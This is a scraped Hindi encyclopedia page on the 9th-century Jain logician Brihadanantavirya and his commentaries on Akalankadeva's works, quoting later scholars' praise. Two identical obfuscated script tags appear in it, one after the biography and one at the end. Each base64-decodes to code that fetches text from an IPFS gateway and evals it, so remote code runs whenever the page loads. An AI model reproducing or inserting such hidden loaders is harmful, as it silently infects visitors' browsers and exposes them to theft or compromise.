बृहदनन्तवीर्य
भारत डिस्कवरी प्रस्तुति
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
आचार्य बृहदनन्तवीर्य
- ये विक्रम संवत 9वीं शती के प्रतिभा सम्पन्न तार्किक हैं।
- इन्होंने अकलंकदेव के 'सिद्धिविनिश्चय' और 'प्रमाणसंग्रह' इन दो न्याय-ग्रन्थों पर विशाल व्याख्याएँ लिखी हैं।
- सिद्धिविनिश्चय पर लिखी 'सिद्धिविनिश्चयालंकार' व्याख्या उपलब्ध है, परन्तु प्रमाणसंग्रह पर लिखा 'प्रमाणसंग्रहभाष्य' अनुपलब्ध है।
- इसका उल्लेख स्वयं अनन्तवीर्य ने 'सिद्धिविनिश्चयालंकार' में अनेक स्थलों पर विशेष जानने के लिए किया है।
- इससे उसका महत्त्व जान पड़ता है।
- अन्वेषकों को इसका पता लगाना चाहिए।
- इन्होंने अकलंकदेव के पदों का जिस कुशलता और बुद्धिमत्ता से मर्म खोला है उसे देखकर आचार्य वादिराज[1] और प्रभाचन्द्र[2] कहते हैं कि 'यदि अनन्तवीर्य अकलंक के दुरूह एवं जटिल पदों का मर्मोद्घाटन न करते तो उनके गूढ़ पदों का अर्थ समझने में हम असमर्थ रहते।
- उनके द्वारा किये गये व्याख्यानों के आधार से ही हम (प्रभाचन्द्र और वादिराज, क्रमश: लघीयस्त्रय की व्याख्या (लघीयस्त्रयालंकार- न्यायकुमुदचन्द्र) एवं न्यायविनिश्चय की टीका (न्यायविनिश्चयालंकार अथवा न्यायविनिश्चय विवरण) लिख सके हैं।[3]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>